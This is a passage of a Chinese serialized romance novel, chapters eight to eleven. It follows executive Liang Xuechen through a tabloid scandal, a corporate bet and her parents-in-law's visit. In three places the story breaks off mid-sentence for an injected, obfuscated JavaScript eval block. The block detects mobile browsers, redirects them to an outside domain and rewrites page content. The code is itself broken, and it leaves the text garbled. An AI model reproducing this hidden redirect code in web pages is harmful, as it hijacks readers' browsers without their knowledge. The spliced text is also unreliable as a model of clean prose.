梁雪琛把啤酒一饮而尽,起身对身旁三人道:“你们赶紧回房休息吧,我也要睡了。明天还有一堆事儿,不和你们聊啦。” 她没把钥匙还给阿宸,面对他为难的眼神笑道:“明天我要早出门,就开这辆车去上班吧。虽然我不喜欢这辆车的颜色,不过既然是新车,委屈自己将就将就也不是不行。” 阿宸还想说什么,被张妈制止了。 8. 第八章 会议 只花了十分钟洗漱好后,梁雪琛终于躺在了床上。 二楼房间的落地窗开了一半,专属于暮春的清风将窗帘吹起。 她打开手机,给朋友圈里的状态全都点上赞。 在好友圈里,大家晒着美食、孩子、日常里的点点滴滴,在这里似乎每个人都过得非常幸福。就算偶尔有谁发了一句“今天有点难过”之类的丧气话,下面的回复也是令人暖心的关心话。 梁雪琛喜欢看别人的状态,自己却不怎么喜欢写状态,不管什么心情,她都更愿意自己一个人消化,最多就是在韩祎和景安安询问时聊上两句。 她从床头柜里拿出一本日记本,在上面写了几句话,然后关上放了回去。她的心情通常留个自己独享。 她突然想起上大学时方雨婷发现了她写日记的习惯,表情夸张地问道:“雪琛,这年头正常人谁会写日记呀?” 方雨婷说得很对,她一直都不是什么正常人——正常人是好友圈里那种至少有那么一两个目标一两个希望的人,而不是像她现在这样不知道渐渐失去了对生活的兴趣,总是试图为别人做些什么来体现她存在的意义。 放下手机,梁雪琛却依然毫无睡意。侧身躺着看被风吹得一下又一下舞动起来的窗帘,在每个清醒的夜晚,她总能想起方雨婷的脸庞。人的记忆很容易被时间慢慢消除,只有方雨婷在她的内心里一天比一天清晰。 那时她们是床头相对的关系,方雨婷总会在每天睡之前和梁雪琛说很多话,现在想想都是没什么意义的废话。但梁雪琛就是记得方雨婷说过的每一件事,不管是高数课坐在前排男生的头上白头发又多了几根,还是和爸爸妈妈吵架的内容,只要是她曾与她分享的,到现在依然历历在目。 风渐渐变大,梁雪琛却没有起来关窗的意思,任凭窗帘舞动的声音随着越来越响。 不知过了多久,她的意识逐渐模糊,窗外也淅沥沥下起雨来。略带暖意的湿气让她觉得自己好像回到了从小生长的地方,那个时候一到梅雨季节,破旧的瓦房里便充斥着潮湿的霉味。 但那时的她每天都对未来充满希望。 下了一整夜的雨终于在天亮时停了,梁雪琛起了床,又是一个睡得不甚安稳的夜,简单梳洗之后,她开着前几天才买的新车出了门——一辆蓝色的保时捷。 蓝色保时捷在嘉程大厦的地下停车场停稳,梁雪琛解开安全带推开车门,差点撞上了一个人。 “程总,这么巧……”公关部的负责人冯绍刚满脸堆笑靠近,发现从车上下来的是梁雪琛时神色变得尴尬,“雪琛,怎么是你?” “冯总,为什么不能是我?”梁雪琛顺手锁了车门,“您刚从北京回来吗,辛苦啦。” 冯绍刚是个圆滑的中年男子,在业内人脉甚广。他的头发上总打上厚厚的发胶,皮鞋也擦得锃亮。虽然他个子很矮,却十分有精气神。 梁雪琛和他打交道时总是十分谨慎,没有人看得清他的笑容背后到底藏着什么。 两人一起往电梯的方向走去。 “雪琛,昨天才出了事,今天你就自己开这辆车来上班,这要是被蹲点的狗仔拍到,会显得你不够大方。”冯绍刚先是苦口婆心,然后话锋一转,“不过也没什么什么事儿,张倩刚刚把舆情分析发给了我了。从数据上看对集团没什么大影响,反而给你的项目增加了很多热度。” 电梯门打开,梁雪琛先走进去按住开门按钮,等冯绍刚走进去后按下公关部所在的十五楼和嘉程娱乐的二十二楼。 “这次的料放得那么迅速,一点儿商量余地都没有,我总觉得有什么地方不太对劲。雪琛,你要交代下面的人做事严谨点,别再捅娄子了。”冯绍刚不急不慢,胸有成竹,“你放心,我们会搞清楚究竟是谁在针对我们,想玩手段也得看看对象。” 梁雪琛笑道:“只不过是常见的狗仔偷拍,我们倒也不用花太多力气去纠结。苍蝇可不叮无缝的蛋,我们要是自己做好了,也不会叫人钻了空子。” “怎么,你不相信程总和唐诗雯是清白的?”冯绍刚抬头看她,“不管是不是清白的,至少我们都得相信是。” 梁雪琛回答道:“冯总,这个道理我比谁都懂,所以程珏和唐诗雯大半夜到海边去做了什么不是重点,重点是这件事的处理结果是好的。” 电梯到达十五楼,冯绍刚露出一个看好戏的笑容走了出去。 那不明所以的笑容让梁雪琛变得有些烦躁,正在此时手机振动,看到上面写着“Alice”的名字后,她立刻按下接听键。 “今天有空吗,下午我这边刚好空出来。”来人的声音温柔而低沉,“我看到昨天的报道了,第一天断药就碰到这样的事儿,你还好吗?” 这个声音总能让梁雪琛感到平和,她长叹一口气道:“我没事,这两个月的药量已经减下来了,所以没觉得有什么影响。下午要去机场接人,今天恐怕都没有时间了,我可以过几天再去找你吗?” “好,如果不舒服的话你随时都可以打给我。” 说完简单几句话,对方挂断了电话。 但也是短短的几句话,让梁雪琛冷静了下来。 这个上午和其他的每个工作日一样忙碌——和企划部开会跟进项目进度、和公关部过最新的舆情监控数据,然后再开嘉程娱乐的周例会。 几个会议结束之后,梁雪琛坐在办公室里开始了与嘉程集团香港分公司的总经理程淼的视频会议。 “姐,不好意思晚了一些。”原定于十一点的会议,因为梁雪琛前面几个会而延迟了将近二十分钟。 “新声计划”的目标是在全国开展“寻找最动人的声音”的选秀活动,虽然看上去与大多数偶像选秀似乎没什么不同,但是却不只是选出唱歌好听的偶像而已。 嘉程集团为他们准备了足以羡煞旁人的资源大礼包,包括但不限于电视剧电影的主题曲演唱、全国巡演机会、音乐综艺、音乐类节目主持等。 选秀是一块仍有无限潜力的大蛋糕,手握嘉程集团媒体资源的程淼主动提出参与,负责项目市场营销的部分。 程淼并不介意梁雪琛的迟到,两人快速过了一遍双方的项目进度。 “在全国海选启动前,我会带着团队去一趟上海,你放心,只要这个项目不出差错,我会让它火遍全国的。”程淼是嘉程集团的大小姐,在业内以做事又果断又大方著称,她对项目的支持是梁雪琛最大的信心来源。 梁雪琛保证道:“谢谢姐,不会有什么问题的。” “是吗?”程淼提醒道,“雪琛,你带的那个小明星和Alex的绯闻,连我在香港都在小报上看到了。爸妈今天不是要去上海吗,如果被他们知道这件事,会不会骂Alex另说,但你肯定会被爸爸质疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071556|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管理能力的。” 梁雪琛答道:“姐,这件事就是个小插曲,我已经处理好了,不会对项目有任何影响。” “行吧,你好自为之,有问题及时跟我联系。就算爸爸有什么微词,反正妈妈也过去了,她会帮你说话的。” 视频会议结束后,梁雪琛才意识到早就过了午饭饭点。 “姐,你想吃什么,我下楼给你打包上来。”梁璐收走桌上已经空了的咖啡杯,早上梁雪琛已经喝掉了两杯咖啡。 “不用了璐璐,你自己去吃吧。”梁雪琛看了一眼时间,得赶紧出发去机场了。 她从抽屉里找出一罐八宝粥和一些零食,这些东西都是梁璐平时为她准备的。 梁璐也看了一眼手机上的时间,说道:“姐,你别着急,慢点儿吃。现在是一点四十八分,商务车两点出发,还有时间。对了,三辆商务车都停在负二层,刚刚冯总说他也去接机,剩下的事他来安排。” 快速吃完八宝粥后,梁璐给梁雪琛倒了一杯温水,她接过一饮而尽,放下杯子时对上靠在办公室门边的程珏的双眼,吓了一跳,呛得咳了好几声。 程珏动也没动,无辜地解释道:“我敲门了,是你没听到。” “这人真是阴魂不散啊。”梁雪琛暗暗想着。 她边收拾手提包边冷冷问道:“程总有何贵干吗?” “来找你一起去机场,你今天不是把车开出来了吗?” 梁雪琛打量了他几下,仿佛眼前这个西装笔挺的人在说什么奇怪的话一样,她朝他身后看去,没看到任何人影。 程珏看出她的意思,解释道:“一一刚刚请假了,我让阿宸先送她回家。” 梁雪琛懒得理会他的解释,向梁璐交代了工作之后绕过程珏径直往外走。 程珏也不计较,跟在她身后,关上门之前还朝梁璐友好地微笑了一下。 正是午休时间,电梯里只有两个人,梁雪琛盯着不断变小的楼层数字,希望可以立刻到达停车场。 “昨天晚上下雨,弄得我一夜都没睡好。”程珏双手抱胸看着梁雪琛,“于是我想了好久,这一个月来我才是那个该生气的人吧?为什么我都主动说想和你谈谈了,你反而表现出更生气的样子来呢?你这算得了便宜还卖乖吗?” 听到这话,梁雪琛气得想骂人,这人颠倒是非的本事未免也太强了,不说其他,就说搞出一个大绯闻害得她费力处理的事儿好像也才过去一天而已。 她转头看他,因为身高差了快20厘米,她不得不稍微抬起头说话,这样一来气势就弱了一些。 程珏身穿一身合体的黑色西装,里面是淡粉色的衬衫,这个颜色太考验人了,可穿在他的身上非但不油腻,反而多了几分活泼。 他的左手无名指上露出一只戒指,低调的铂金戒指上是两圈小小的钻。 梁雪琛没来得及回怼,电梯在十五楼停下。 看到程珏在电梯里,冯绍刚露出了大大的笑容。 “早上太忙了没来得及去找你汇报工作,还请程总原谅呀。“冯绍刚带着助理小刘走进电梯,满脸堆笑地和二人打了招呼,很明显他更想和程珏交流。 梁雪琛往后退一步,安静地在一旁听那两人一来一往客套话,小刘也在一旁陪着笑。 好在电梯的速度还算快,没让梁雪琛呆在她不喜欢的氛围里太久。 9. 第九章 真相 程珏刚要坐上副驾驶位置就被梁雪琛叫住了。 她把钥匙扔给他,示意他来开车,自己坐到了后排座位上。 “我觉得你挺奇怪的,明明晕车,又那么喜欢坐在后排,那不是更容易晕了吗?” 梁雪琛冷哼道:“开你的车就行,干什么要管我坐哪里?” 昏暗中似乎踩到了什么东西,她把后座灯打开,脚下是一束简单的红玫瑰手捧花——唐诗雯主演的电视剧《哭泣的玫瑰》获得电视剧大赏最佳戏剧奖时,主办方给全体主创人员都送上了相同的玫瑰。 梁雪琛把已经凋零的玫瑰花束捡起来,叹道:“拿不到新人奖,所以团体奖项也不重要了么?” 程珏熟练地启动车子,从后视镜中看到她露出有些哀伤的表情。 “我们回到公司时,石宇打电话告诉了诗雯狗仔跟拍的事儿,她下车时太着急,就忘了把花拿下去了。在那之前她一直拿着这束花。” 梁雪琛抬眼,面无表情地与后视镜里的程珏对视,然后转过头看向窗外。 程珏打了转向灯,确认左右无车之后将蓝色的保时捷开离车位。 三辆商务车依次启动,冯绍刚在末尾的那辆副驾驶上伸头出来招手示意,程珏按了两下喇叭回应。四辆车一齐驶出停车场。 “她清楚你为她做的一切,但新人奖只有一次机会,失去了就永远失去了。你知道她对这个奖项充满了渴望,这也是你愿意在她身上付出那么多心血的原因之一,不是吗?” “她怎么跟你说的都不关我事,我也不觉得用一个新人奖当筹码换取更大的利益有什么问题。她可以没有这个奖,但不能没有Amor的珠宝代言。” 一年前梁雪琛代表嘉程娱乐与集团总部签订了一份约定3000万营收的对赌协议,如果她能在一年内完成目标营收,则集团追投一个亿用于下一年度的项目。反之,集团总部将向有意收购嘉程娱乐的老牌经纪公司风华娱乐售出嘉程娱乐的全部股份。 一年的时限将至,唐诗雯如果能顺利接下Amor珠宝的代言,那么另外两个化妆品的代言也将顺势谈下。三个代言足以让这一年嘉程娱乐的营收轻松超过3000万。 也就是说,梁雪琛已经锁定了集团一个亿的投资。 至于投资的项目,自然就是即将开始的“新声计划”。 程珏反问道:“是吗,是诗雯不能没有Amor的代言,还是你不能输掉那份对赌协议?雪琛,三个代言一共五百万而已,为了五百万牺牲掉诗雯最在乎的东西,值得吗?” “是她在乎还是你在乎?业内都默认了这个奖的水有多深,失去这个奖,反而更能让诗雯成为热点难道不好吗?”梁雪琛忍不住笑出声,“最在乎的东西?程珏,这世上没有几个人最在乎的东西能值五百万。” 说罢梁雪琛挨着车窗闭目养神,但很显然程珏并不打算让她享受安静。 “我问你一件事,前天晚上我给你发消息告诉你我带走诗雯了,你不回我,是因为生气还是不在意?” 梁雪琛睁开眼,看向后视镜,程珏直视前方,表情平静,似乎在问一件无关紧要的事情。 她冷笑道:“你都已经把人带走了,还管我怎么想么。” “那你为什么又通知《春夏周刊》的记者,跟他们说看到我把诗雯带走了?”程珏从后视镜里对上了梁雪琛惊慌的目光,笑道:“我知道你想用这件事给你的项目造势。如果记者拍到了什么,你就抓住了我的把柄,你认为可以威胁我,让我在集团全网会议上支持你的‘新声计划’。反过来如果记者什么也没拍到,只是看图写作而已,你轻轻松松就能澄清,顺便搞了一波热度。” 见对方看破自己的做法,梁雪琛反而松了一口气。 “你说得对,只可惜那个记者有些蠢,自己跟上去后被同行发现,独家新闻都拿不到,拍的角度还不如别的杂志社清晰,我要是他的领导,我得气死。”梁雪琛并没有被戳破秘密的愧疚感,但却有些不知名的心酸:“呵呵,这样看来你是不是觉得我更低级了。” 她的手段在光明磊落的他面前一遍遍被揭发,是那么不入流。 “不,我只是觉得你比我想象中的厉害。” 程珏的语气平静,让梁雪琛有些疑惑,她听不出他的话里究竟是讽刺还是真的夸奖,于是她打算装作没听到。 “我真的很想知道……”程珏显然还不愿意结束话题,不知是不是被挑起的怒意让他开始口不择言,“对你而言,我还剩多少利用价值?是不是等哪一天你需要牺牲掉什么换你想要的东西时,会毫不犹豫地将我扔出去?” 车辆驶入高速路,梁雪琛转头看着窗外两边树丛向后飞速远离,车厢内陷入了诡异的沉静中。 “《春夏周刊》的记者一早就在停车场等着了,不出意外的话,他们会拍到诗雯落寞地离开现场,还会拍到《哭泣的玫瑰》的男主角周成新在停车场送上一个拥抱。昨天的新闻会用爆炸性的标题宣称两人因戏结缘,但昨天下午的采访里就会澄清是主创人员的关系太好,他们各自的死忠粉会将他们的热度推到顶峰。” 梁雪琛幽幽道:“程珏,是你自己给记者送去新闻的,却给我预设了一个只会利用你的形象。我从来没有想过要将你推出去,可在你心中,一直觉得我工于心计,对吗?” “我……”程珏被梁雪琛说中了心事,不知从什么开始,他用龌龊的想法审判她。 又是一片沉寂,引擎发动机的声音似乎让两人间的空气变得静止,随即变得窒息。 车子在机场的停车场停稳后,程珏从口袋里拿出一个墨绿色的戒指盒,打开取出里面与自己手上成一对的另一枚铂金戒指,递给梁雪琛。 “早上出门的时候我让张妈把你的东西全拿回主卧了,客房也重新收拾干净,别让爸妈看出来我们之间的问题,等爸妈回去之后我们再好好聊一聊,把误会解开。” 梁雪琛接过戒指戴在了左手无名指上,程珏把戒指盒重新放回口袋里。 “不用了,我们没有什么好聊的,也不存在什么误会。你也不是第一个觉得我不折手段的人,事实上我为了达成目标确实做了很多低级的事。” 梁雪琛解开安全带,正要打开车门出去。 “对不起。” 突如其来的道歉让梁雪琛愣了一下,但很快下了车。 她把车上的玫瑰花束随手扔进垃圾桶里。 冯绍刚早已抱着一束向日葵满脸笑容地走了过来。看到他,梁雪琛的脸上也挂上了客套的笑容。 她等程珏下车之后,轻轻挽着他的手臂,在外人面前,至少仍然要像一对真正的恩爱夫妻那样表现甜蜜。 “程总,这是董事长夫人最喜欢的向日葵,待会儿您把它送给夫人,夫人一定会很开心。” 冯绍刚把花束递给程珏。 程珏对梁雪琛笑道:“你来送给妈妈吧?” “不用了,妈妈知道我从公司过来,没时间去花店买花。”梁雪琛瞥了一眼冯绍刚,“再说了,这是冯总买来让程总送给董事长夫人的花,让我送不合适。” 几人乘电梯直达到达层。 梁雪琛从小就很喜欢飞机,小时候坐在院子里,偶尔天上会有飞机经过,让她能开心上好一阵子。 她喜欢独自猜测飞机是从哪里起飞,又到哪里降落,她羡慕乘坐飞机的人,可以日行一万里去到他们想去的地方。 上大学之后,如果遇到不开心的事又不愿意与人倾诉的话,梁雪琛就会从校门口坐地铁到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071557|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终点站的航站楼,跑到出发口的休息椅上坐上大半天,看着航班大屏不断变化的信息,她会感到快乐。 这个爱好在别人看来十分奇怪,而且乘地铁往返所需的十块钱将让她接下来两天的每一顿饭都少点一块大排,但梁雪琛依然乐此不疲。 在机场这个地方,无论是出发还是到达,无论是送机还是接机,都意味着一次重逢,或是一个全新的旅程,无论哪种意味,都让人充满希望。她很喜欢“希望”这个词。 大学毕业之后出国留学,她才第一次乘坐飞机,在三万英尺的高空上,她想象着地面是否也有一个小朋友和她儿时一样,正抬头看到这架飞机飞过。 她孤单地坐着经济舱度过十几个小时的长途飞行飞到大洋彼岸,两年后回程时,程珏替她准备了头等舱的座位。 现在的梁雪琛已经没有当年的心情了。 等待的时间里,她不停地翻看手机上梁璐传过来的工作文件并一一回复,还顺便旁听了几个网络会议,偶尔抬头看一眼机场大屏的进港信息,脑子里飞快决定项目的时间节点安排。 反而是程珏看上去很闲,打开手机静音看前一天的球赛回放,时不时出声打扰梁雪琛的工作。 大屏提示等待的航班进港,最后一个简短的线上会议也很快结束。 程珏正在和冯绍刚聊到“向日葵的花语”,上网查到正确答案之后,他让梁雪琛猜猜答案是什么。 “别人总说‘男人至死是少年’,我以前觉得这句话不对,我身边的男人身上都是有千斤重的担子,要赚钱养家,要烦恼小孩的学习,对外有应酬,对内有看不到头的家长里短。”梁雪琛忍不住怼道,“看到你之后我才知道,世界上真的有一类男人,既不缺钱不缺爱,也没有生活的负担,想做什么都有底气,才可以至死是少年,我真的十分羡慕你们这样的人。” “你是在夸我吗?我和你说的是花语,你怎么聊起男人来了。”程珏锁上手机屏幕,无辜地看着梁雪琛,“缺钱缺爱又有生活负担的人,他也可以保持少年的纯真,这是个人的选择,和什么身份背景都无关。” 梁雪琛小声嘲笑道:“何不食肉糜。” “雪琛,Alex!” 一个轻快的声音打断他们的对话,还没等梁雪琛回应,冯绍刚抢先一步笑脸迎上。 “董事长好,董事长夫人好!” 江美玲身着墨绿色长裙,外面搭配一件驼色呢子大衣,手上提着一个黑色手工皮革托特包,一头乌黑的头发用复古黑木簪子挽起在脑后,脖子上是一条精致的翠玉银坠,整个人典雅而不古板。 手握嘉程集团大权的程安杰走在她的身侧,全黑的定制西服外套了一件黑色风衣,颇有老派商人的风范。 江美玲张开双臂拥抱梁雪琛,她的怀抱十分温暖,语气温柔,“今年过年你们没回家,算一算都大半年没见了。” “妈咪,送你向日葵。”等所有人简单寒暄过后,程珏把花束递给江美玲。 “这么有心还准备了花,”江美玲看向冯绍刚,“谢谢冯总总是记得我喜欢的东西。” 拿行李的几个同事出来得比较晚,跟跟在他们身后的是一个身材矮小的妇人,她的手推车上有大概四五个行李箱。 “王妈!”梁雪琛开心地迎了上去,与她一齐推手推车。 王妈与管家赵叔是夫妻,从程珏很小的时候就在程家工作。两人有一个女儿,在广州上大学,为了离女儿更近一些,方便周末照顾,王妈并没有与赵叔一起到上海来,而是留在了深圳。 看到梁雪琛与佣人的关系如此密切,程家人倒是没有什么太大的反应,反而是冯绍刚总觉得这样不好,给她使了使眼色。 梁雪琛装作没看到冯绍刚的暗示。 10. 第十章 接机 一向热衷于工作的程安杰一反常态地提出今天先不回公司开会了,梁雪琛注意到从他们出来之后,他小声问了好几遍江美玲“你还好吗”。 趁其他人不注意,梁雪琛走到江美玲身边轻轻问道:“妈,你怎么了?是太累了吗,我看到你一直揉着腰。” “你这孩子的心也太细了。”江美玲露出欣慰的笑容,“放心,我没事儿,坐太久了腰有些酸,现在好了。” “绍刚,麻烦你带大家到酒店办理入住。今天也没多少时间了,你们就回去好好休息吧。徐风,明早九点左右帮我安排个工作会议,让各个部门的负责人出席就行,我想先对大家最近的重点工作摸个底。” 程安杰的步速比普通人快一些,边走边交待工作。董事长特助徐风点点头,在平板电脑上飞快记下老板话里的重点。 冯绍刚几乎是点头哈腰地答道:“董事长放心,我这边有各部门负责人或代理负责人的名单,晚点儿我转给徐特助。” “爸,真难得你竟然没有一下飞机就回公司。” 程珏走在最前面,刚要按下通往停车场的电梯按钮,冯绍刚一个箭步过来先行按下,一手挡住电梯门,请其他人先进去。 “怎么,你们很忙吗,那么希望把你爸带回公司加班?”江美玲一手挽着程珏,一手拉住梁雪琛,“你爸确实是过来出差的,可我过来是为了看我宝贝儿子和儿媳妇的。大半年没见,你们来接我们之前没把工作做好,还打算再回公司呐?” 程珏“噗嗤”一声笑了出来:“妈咪,我发现你和雪琛有一个共同点——你们都是那种我说了一句话就可以用十句来反驳的人。 江美玲看了一眼梁雪琛,笑道:“说明你小子专情,全世界你最爱的两个女人类型一致,值得被我夸一下。” 梁雪琛在一旁陪着笑,无人留意到了听到这句话后她笑容中出现的别扭。 “这就是你买的新车?”程安杰看到那辆蓝色保时捷后脸色有一瞬间的不满,但很快控制住表情,和其他同事打招呼告别。 程珏打开电子锁后,程安杰坐进副驾驶座上,江美玲则往后排落座。 王妈在程珏和梁雪琛的帮助下把行李放在后车厢,与梁雪琛一起也坐在了后排。 “怎么突然想起要买新车,就为了半夜带女明星出去兜风么?”车子驶上高速路后,程安杰才露出怒意,“Alex,你到底想干什么?要不是早上我在机场休息室看到八卦杂志,甚至没有人会向我汇报这件事对吗?你现在倒好,还敢开着这辆车带父母老婆回家,不觉得丢脸吗?” 正在给管家发消息的梁雪琛被程安杰的话吓了一跳,抬头正好对上后视镜里程珏的目光。程珏露出玩味儿的表情,把她看得心虚。 她承认昨天晚上看到阿宸手上拿着这辆车的钥匙后,萌生起了莫名的报复心理,临时起意把车开了出来。 这件事处理得很即使,以至于一向小心谨慎的她忘了考虑程安杰有知道这个绯闻的可能。 这么算来,梁雪琛是惹怒程安杰的间接原因。 “爸爸,车子多无辜呀,这件事和新车旧车又有什么干系呢。”梁雪琛瞪了一眼程珏,不管怎么说,让程安杰发怒的最大原因是他儿子半夜带女明星到海边过夜这件事的本身。 当然在这个节骨眼上不能出什么岔子,她还是得和程珏站在统一阵线上,于是她解释道:“这件事其实是朋友间出于友情的安慰罢了,昨天晚上是阿宸开的车,Alex出去之前给我发了消息报备,只不过媒体总是喜欢怎么夸张怎么来,不然哪来的流量呢。爸,你放心,昨天公关部的张副总已经处理好这件事啦,不会再有人抓着这件事不放。” “你瞧瞧,你的脾气怎么越来越急。”江美玲当然也站在儿子这边,“雪琛都说友情而已了……儿子有分寸,真要做了什么越轨的事,儿媳妇还能在这儿好好地跟你解释么?只是Alex你也太不小心了,怎么会被那么多狗仔拍到呢,下次和这些当明星的朋友出去玩要谨慎些。” “胡闹!这种事还想有下次吗!”程安杰听完怒气更盛,“雪琛,那个唐诗雯是你的人,你就有责任好好教育她什么叫做分寸。我不管你们年轻人在搞什么东西,但既然你和Alex结了婚,就给我好好维持程家的脸面。这种新闻一出来,咱们就成了别人茶余饭后的八卦,看看像什么话。Alex,你这么做又和那些不学无术的二世祖有什么差别!” “行啦行啦,Alex在开车呢,你冲他发什么火嘛。唐诗雯说到底只是雪琛手下的一个员工而已,雪琛又不是她的监护人,还能管住她想做什么吗?就算他们夫妻俩真的做错什么了,现在也补救回来了,说了这一路,你也该气消了吧。” 江美玲轻轻拍了拍梁雪琛的手背以示安慰,转话题道:“对了,让一一晚上来我们家里吃饭吧,我也好久没见到她了。” 程珏答道:“一一今天带女儿去复诊,请假了。” 话题是转了,没想到程安杰又来了其他的火气。他长叹道:“如果老师知道一一和那种败家子结了婚,还给人家的私生女当了后妈,不知道会多难过。” 程安杰一想到嘉程集团能成为今天这样的商业帝国,韩家从中给了那么多支持,自己受了韩老爷子那么多年的照顾,如今看到恩师最疼爱的孙女那么不幸——至少在自己的认知中是不幸的,就十分心痛。 梁雪琛想到两天前韩祎说打算补办一场婚礼,看来程安杰还不知道这件事。 梁雪琛见过贺君昊好几面,但并不熟悉他的为人,只大概听景安安八卦过,他是东南亚货运巨头贺氏集团董事长的私生子,为人风流,曾与多个嫩模暧昧不清。 三年前贺君昊第一次公开承认了一个女友,那时那位红极一时的女模特已经有了八个月的身孕。八卦新闻中多用“欲借子上位”来形容那个二十出头的女生。 至于韩祎最终是怎么和那个不管怎么想都绝非良人的男人在一起的,她自己没有细说,也就没有人清楚原因。 梁雪琛只知道贺君昊的女友在生下一个患有先天性心脏病的女儿后,很快就消失在公众的视线中了。而现在那个不到三岁的女孩成了韩祎的女儿。 小女孩会喊“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071558|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈”后,几乎每次和闺蜜们的周末聚会她都会把她带出来。梁雪琛和景安安虽然对贺君昊没有太好的印象,但对那个甜甜地叫她们“姨姨”的女孩却疼爱有加。 “上周末我和广雄喝早茶的时候,还提起这件事了。你知不知道你广雄叔叔真的很生气。”程安杰继续说道,“Alex,你让我没脸向人家交待,好好的一个千金大小姐,你真以为是来给你打工当助理吗?韩家想让你帮忙照顾一一,一开始你就应该阻止她和那个花花公子往来,可你又是怎么做的,你不但没看好一一,还帮她瞒着韩家偷偷去领了证!” “爸,一一是个有独立思想的成年人,她知道自己在做什么。”程珏不愿让别人来指责韩祎,“再说了,韩叔叔还在乎什么面子吗,如果在乎的话当年他会出轨一一的家教?真要说我做错什么,是啊,我当时就不该介绍我的同学到一一家给她补课,最后给一一带来这么大的伤害。” 车内的气氛一下子尴尬到顶点,梁雪琛只好低头装作给赵叔发消息确认晚餐的菜单,一句不吭。 程安杰听完程珏的话,哼了一声也不再说话。 梁雪琛抬头偷瞄后视镜里的程珏,只见他的脸色不爽到了极点。试探了那么多次程珏的底线,她现在清楚地知道他的底线就是韩祎。 管家赵叔计算好时间提前和阿宸一起在大门前等待,将行李一一拿下来之后,阿宸将车开到车库停放。 看到春节后分别了两个月的妻子,赵叔原本满脸笑容,但很快他们都感受到这一家人间微妙的气氛,收住了激动的情绪。 “先生,太太,你们一路辛苦了。房间已经整理好了,先生和太太快先上去休息休息吧。” 只有听到动静后才从厨房里出来的张妈独自开朗:“今天晚上我准备了几道江浙菜,六点钟左右可以吃晚餐。” 王妈走到张妈身边小声打了招呼,不动声色地拉了拉她的衣角。 “好啦,都回到家了,我先去换身轻便的衣服。”江美玲打破这微妙的尴尬,“之前就听雪琛说阿秀已经从粤菜大厨变成江浙菜大厨了,过年阿秀回广东的时候我没机会吃到,这次来上海我一定要好好尝尝。阿婵,今天你一路也辛苦了,先回房休息吧。” 程安杰看了一眼仍然不能使用的电梯,问赵叔道:“跃民,我不是交代过这部电梯要赶紧修好吗,这上上下下的那么高的楼梯,没有电梯多不方便。” 梁雪琛替赵叔解释道:“爸,您说要重装电梯之后赵叔立刻就去办了,但是上周赵叔得了流感发了几天烧,是我让赵叔先把工程停一停的。这部电梯调试好就可以了,用不了几天。” 程安杰皱了皱眉,看了一眼江美玲。 江美玲朝他轻轻摇摇头,于是他便不说话了。 赵叔和阿宸提着行李走在前面,程安杰和江美玲跟在后面,程珏和梁雪琛一声不吭地走在最末。 “哎雪琛,”张妈悄悄拉住梁雪琛,“你的东西我都搬回三楼了,你可别走错路呐。” 听到这话,程珏回头看了一眼梁雪琛,露出了在梁雪琛看来十分得意的笑容。 11. 第十一章 缘起 这栋房子的三楼有三个房间,其中主卧最大,附带了书房、衣帽间、浴室和一个大阳台,另外两间房与主卧相比则是少了一间书房。 除了三个大房间之外,三楼还有一个配置了家庭影院大客厅和一间公共卫生间。 程珏和梁雪琛住在主卧,程安杰夫妇的房间则离主卧最远。三楼虽然设施齐全,但看上去并没有太多使用的痕迹。 对梁雪琛而言,与其说这里是一个家,不如说这个地方更像是每天都被打扫得一尘不染的度假民宿。 梁雪琛已经一个多月没有上过三楼了,主卧里倒是没有什么变化。 她和程珏都是不喜欢复杂装饰的人,因此除了电视柜上的一张小小的七寸全家福之外,整个房间里几乎再没有其他摆件。 衣帽间里的梳妆台是唯一一个结婚后才买的家具,当时从打开家具城的网站到下单确认,总只共花了不到半个小时的时间。 梳妆台上的架子上零零散散地放着张妈早上从二楼客房收拾上来的化妆品,另一边则是摆满了程珏的香水。他并非每天都喷香水,但就是有收集各种香水的爱好。 程珏的东西占了衣柜一半的位置,梁雪琛则是用了另一半空间的十分之一,要不是平时陪程珏出席各种宴会时需要穿上与之相配的礼服,这个衣帽间里属于她的东西就更少了。 结婚将近两年,两人虽然也不见得有多恩爱甜蜜,但是激烈的争吵也并不常见。 最大的一次争吵发生在一个多月前的那个晚上。 那天晚上十一点半,梁雪琛拖着疲惫地身躯下班回来,一进房就发现了程珏的怒意。 他的脾气一向很好,在她的印象中,他很少表现出那么大的负面情绪。 程珏生气的直接原因很简单——晚饭后接到了唐诗雯的电话,对方原本正因为提名新人奖而欢呼雀跃,却不小心从同事口中得知梁雪琛可能会用新人奖作为代价,换取其他的东西。 唐诗雯对这个奖觊觎已久,但她根本无力反抗梁雪琛的决定。她害怕传言会变成事实,于是打电话给程珏试图问出真相。 